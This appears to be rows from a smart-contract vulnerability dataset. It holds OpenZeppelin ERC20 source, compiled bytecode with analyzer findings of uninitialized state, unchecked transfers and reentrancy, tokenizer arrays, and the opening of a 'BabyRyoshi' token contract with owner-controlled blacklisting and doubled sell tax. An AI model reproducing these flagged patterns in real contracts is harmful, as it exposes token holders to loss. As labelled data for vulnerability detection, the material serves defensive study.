`amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80639975038c11610097578063d4b8399211610066578063d4b83992146101bc578063de57b287146101cf578063f2fde38b1461020b578063fd5e6dd11461021e57600080fd5b80639975038c14610186578063a96f86681461018e578063aef18ae714610196578063b31c710a146101a957600080fd5b8063776d1a01116100d3578063776d1a011461012a57806378e979251461013d5780638da5cb5b14610159578063936d1f651461017e57600080fd5b8063454b0608146100fa57806358bf3c7f1461010f578063715018a614610122575b600080fd5b61010d610108366004610cf0565b610231565b005b61010d61011d366004610caa565b610411565b61010d6104a4565b61010d610138366004610caa565b6104da565b61014660055481565b6040519081526020015b60405180910390f35b6000546001600160a01b03165b6040516001600160a01b039091168152602001610150565b61010d61056d565b61010d6105f1565b61010d61073e565b61010d6101a4366004610caa565b610788565b600254610166906001600160a01b031681565b600154610166906001600160a01b031681565b6101f66101dd366004610caa565b6007602052600090815260409020805460019091015482565b60408051928352602083019190915201610150565b61010d610219366004610caa565b61081b565b61016661022c366004610cf0565b6108b3565b6001546001600160a01b03166102775760405162461bcd60e51b815260206004820152600660248201526511910e8c105160d21b60448201526064015b60405180910390fd5b6002546040516323b872dd60e01b815233600482015261dead6024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b1580156102cb57600080fd5b505af11580156102df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103039190610cce565b5061030d336108dd565b8061031c575061031c3361098c565b1561032e5761032b81336109d6565b50565b600061033b600a83610d6f565b90506103478183610d91565b3360009081526007602090815260409182902082518084019093528054808452600190910154918301919091529193509083908290610387908390610d57565b9052506103974262069780610d57565b6020808301918252336000818152600790925260409091208351815591516001909201919091556103c99083906109d6565b602080820151604080513381529283018690528201527f46ac8d00147e18e4e4f9ccc1d9573f16811024436ba2ad88bf4471e36c01fd2c9060600160405180910390a1505050565b6000546001600160a01b0316331461043b5760405162461bcd60e51b815260040161026e90610d22565b600454604080516001600160a01b03928316815291831660208301527f92d0c9f661c56dfa53982bd52b4a3d82387ae596426816e0ab67346a9972c14b910160405180910390a1600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146104ce5760405162461bcd60e51b815260040161026e90610d22565b6104d86000610bd1565b565b6000546001600160a01b031633146105045760405162461bcd60e51b815260040161026e90610d22565b600154604080516001600160a01b03928316815291831660208301527f4d11d6210a5e807da812a693b5d341a870571b5fc31158172207a3d99c911ccd910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105975760405162461bcd60e51b815260040161026e90610d22565b60065460005b818110156105ed576000600682815481106105ba576105ba610dd9565b6000918252602090912001546001600160a01b031690506105da81610c21565b50806105e581610da8565b91505061059d565b5050565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161026e90610d22565b42600554624f1a0061062d9190610d57565b106106695760405162461bcd60e51b815260206004820152600c60248201526b544d3a546f6f206561726c7960a01b604482015260640161026e565b6001546040516370a0823160e01b81523060048201526001600160a01b03909116906342966c689082906370a082319060240160206040518083038186803b1580156106b457600080fd5b505afa1580156106c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ec9190610d09565b6040518263ffffffff1660e01b815260040161070a91815260200190565b600060405180830381600087803b15801561072457600080fd5b505af1158015610738573d6000803e3d6000fd5b50505050565b6001546001600160a01b031661077f5760405162461bcd60e51b815260206004820152600660248201526511910e8c105160d21b604482015260640161026e565b6104d833610c21565b6000546001600160a01b031633146107b25760405162461bcd60e51b815260040161026e90610d22565b600354604080516001600160a01b03928316815291831660208301527fcb7cd73951f34ba8e51586b87fe4b6691dfa0872ede9945e4ea7658f40b4cef7910160405180910390a1600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161026e90610d22565b6001600160a01b0381166108aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161026e565b61032b81610bd1565b600681815481106108c357600080fd5b6000918252602090912001546001600160a01b0316905081565b6003546000906001600160a01b03161580159061097757506004805460405163723798b160e11b81526001600160a01b038581169382019390935291169063e46f3162906024015b602060405180830381600087803b15801561093f57600080fd5b505af1158015610953573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109779190610cce565b1561098457506001919050565b506000919050565b6003546000906001600160a01b031615801590610977575060035460405163752ca6ad60e01b81526001600160a01b0384811660048301529091169063752ca6ad90602401610925565b6109df8161098c565b15610af8576001546001600160a01b031663a9059cbb610a076000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101859052604401602060405180830381600087803b158015610a4f57600080fd5b505af1158015610a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a879190610cce565b507fc7ea1a149fa86d488de0d46911cc7c13bc51bbab90c2481c4318bc4083a3542281610abc6000546001600160a01b031690565b600154604080516001600160a01b0394851681529284166020840152921691810191909152606081018490526080015b60405180910390a15050565b60015460405163a9059cbb60e01b81526001600160a01b038381166004830152602482018590529091169063a9059cbb90604401602060405180830381600087803b158015610b4657600080fd5b505af1158015610b5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7e9190610cce565b50600154604080516001600160a01b03808516808352602083015290921690820152606081018390527fc7ea1a149fa86d488de0d46911cc7c13bc51bbab90c2481c4318bc4083a3542290608001610aec565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381166000908152600760209081526040918290208251808401909352805483526001015490820152610c5a826108dd565b15610c66574260208201525b805115801590610c7a575080602001514210155b156105ed576001600160a01b03821660009081526007602052604081208181556001015580516105ed90836109d6565b600060208284031215610cbc57600080fd5b8135610cc781610def565b9392505050565b600060208284031215610ce057600080fd5b81518015158114610cc757600080fd5b600060208284031215610d0257600080fd5b5035919050565b600060208284031215610d1b57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d6a57610d6a610dc3565b500190565b600082610d8c57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610da357610da3610dc3565b500390565b6000600019821415610dbc57610dbc610dc3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461032b57600080fdfea26469706673582212209165bec1d1e514c59666d7863621d4e2a389775766aa57963f30c63ba7c5b64e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16068, 21472, 2692, 27814, 2475, 12879, 2050, 2475, 2050, 2683, 2497, 2487, 2094, 2620, 2094, 17465, 2063, 2581, 2063, 2692, 2475, 10354, 2063, 23777, 2050, 23632, 2629, 2063, 17134, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 2241, 2006, 25416, 3642, 2013, 1043, 3372, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1021, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,026
0x96156f63c6ab861a1c429bf9b0754d95f4642080
/** *Submitted for verification at Etherscan.io on 2022-04-01 */ //SPDX-License-Identifier: MIT //SafeMath not used as obsolete since solidity ^0.8 pragma solidity 0.8.11; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; } function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); } event OwnershipTransferred(address owner); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabyRyoshi is IERC20, Auth { string _name = "BabyRyoshi"; string _symbol = "BabyRyoshi"; uint8 constant _decimals = 9; uint256 constant _totalSupply = 100 * (10**6) * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public noFees; mapping (address => bool) public noLimits; bool public tradingOpen; uint256 public maxTxAmount; uint256 public maxWalletAmount; uint256 private taxSwapMin; uint256 private taxSwapMax; mapping (address => bool) private _isLiqPool; mapping (address => address) private _liqPoolRouterCA; mapping (address => address) private _liqPoolPairedCA; uint8 private constant _maxTaxRate = 12; uint8 public taxRateBuy; uint8 public taxRateSell; uint8 public taxRateTX; uint16 private _autoLPShares = 200; uint16 private _charityTaxShares = 100; uint16 private _marketingTaxShares = 500; uint16 private _developmentTaxShares = 300; uint16 private _buybackTaxShares = 100; uint16 private _totalTaxShares = _autoLPShares + _charityTaxShares + _marketingTaxShares + _developmentTaxShares + _buybackTaxShares; uint16 public blacklistLength = 0; address constant _burnWallet = address(0); mapping (address => uint256) public blacklistBlock; address payable private _charityWallet = payable(0xbb1374f53E9461B547A95a861DFCbD7A709Df7cb); address payable private _marketingWallet = payable(0x517a03eCeD436e2B8EA701e9B30Cd0b1392a4334); address payable private _developmentWallet = payable(0x4210612808887325F06D6FeF33A35eE0DAed37E9); address payable private _buybackWallet = payable(0x966C6e464a2a021dB69d1f5be381327EFDE3d9B7); bool private _inTaxSwap = false; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } event TokensAirdropped(uint256 totalWallets, uint256 totalTokens); constructor (uint32 smd, uint32 smr) Auth(msg.sender) { tradingOpen = false; maxTxAmount = _totalSupply; maxWalletAmount = _totalSupply; taxSwapMin = _totalSupply * 10 / 10000; taxSwapMax = _totalSupply * 50 / 10000; noFees[owner] = true; noFees[address(this)] = true; noFees[_buybackWallet] = true; noLimits[owner] = true; noLimits[address(this)] = true; noLimits[_buybackWallet] = true; noLimits[_burnWallet] = true; _balances[address(owner)] = _totalSupply; emit Transfer(address(0), address(owner), _totalSupply); } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { require(balanceOf(msg.sender) > 0); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(msg.sender), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(sender), "Trading not open"); if(_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function setLiquidityPool(address liqPoolAddress, address swapRouterCA, address wethPairedCA, bool enabled) external onlyOwner { //7200 blocks (~24 hours) post launch we still have a chance to change settings if something goes wrong. After that it's final. require(liqPoolAddress!=address(this) && swapRouterCA!=address(this) && wethPairedCA!=address(this)); _isLiqPool[liqPoolAddress] = enabled; _liqPoolRouterCA[liqPoolAddress] = swapRouterCA; _liqPoolPairedCA[liqPoolAddress] = wethPairedCA; noLimits[liqPoolAddress] = false; noFees[liqPoolAddress] = false; } function _approveRouter(address routerAddress, uint256 _tokenAmount) internal { if ( _allowances[address(this)][routerAddress] < _tokenAmount ) { _allowances[address(this)][routerAddress] = type(uint256).max; emit Approval(address(this), routerAddress, type(uint256).max); } } function _addLiquidity(address routerAddress, uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lpTokenRecipient = address(0); if ( !autoburn ) { lpTokenRecipient = owner; } IUniswapV2Router02 dexRouter = IUniswapV2Router02(routerAddress); dexRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading already open"); _openTrading(); } function _openTrading() internal { maxTxAmount = 2 * _totalSupply / 1000 + 10**_decimals; maxWalletAmount = 3 * _totalSupply / 1000 + 10**_decimals; taxRateBuy = _maxTaxRate; taxRateSell = _maxTaxRate * 2; //anti-dump tax for snipers dumping taxRateTX = _maxTaxRate; tradingOpen = true; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from Zero wallet"); if (!tradingOpen) { require(noFees[sender] && noLimits[sender], "Trading not open"); } if ( tradingOpen && blacklistBlock[sender] != 0 && blacklistBlock[sender] < block.number ) { revert("blacklisted"); } if ( !_inTaxSwap && _isLiqPool[recipient] ) { _swapTaxAndLiquify(recipient); } if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; } _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _addBlacklist(address wallet, uint256 blacklistBlockNum) internal { if ( !_isLiqPool[wallet] && blacklistBlock[wallet] == 0 ) { blacklistBlock[wallet] = blacklistBlockNum; blacklistLength ++; } } function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( tradingOpen && !noLimits[recipient] ) { if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen(address sender) private view returns (bool){ bool checkResult = false; if ( tradingOpen ) { checkResult = true; } else if ( tx.origin == owner ) { checkResult = true; } else if (noFees[sender] && noLimits[sender]) { checkResult = true; } return checkResult; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !tradingOpen || noFees[sender] || noFees[recipient] ) { taxAmount = 0; } else if ( _isLiqPool[sender] ) { taxAmount = amount * taxRateBuy / 100; } else if ( _isLiqPool[recipient] ) { taxAmount = amount * taxRateSell / 100; } else { taxAmount = amount * taxRateTX / 100; } return taxAmount; } function isBlacklisted(address wallet) external view returns(bool) { if ( blacklistBlock[wallet] != 0 ) { return true; } else { return false; } } function setExemptFromTax(address wallet, bool toggle) external onlyOwner { require(!_isLiqPool[wallet], "Cannot set tax for LP" ); noFees[ wallet ] = toggle; } function 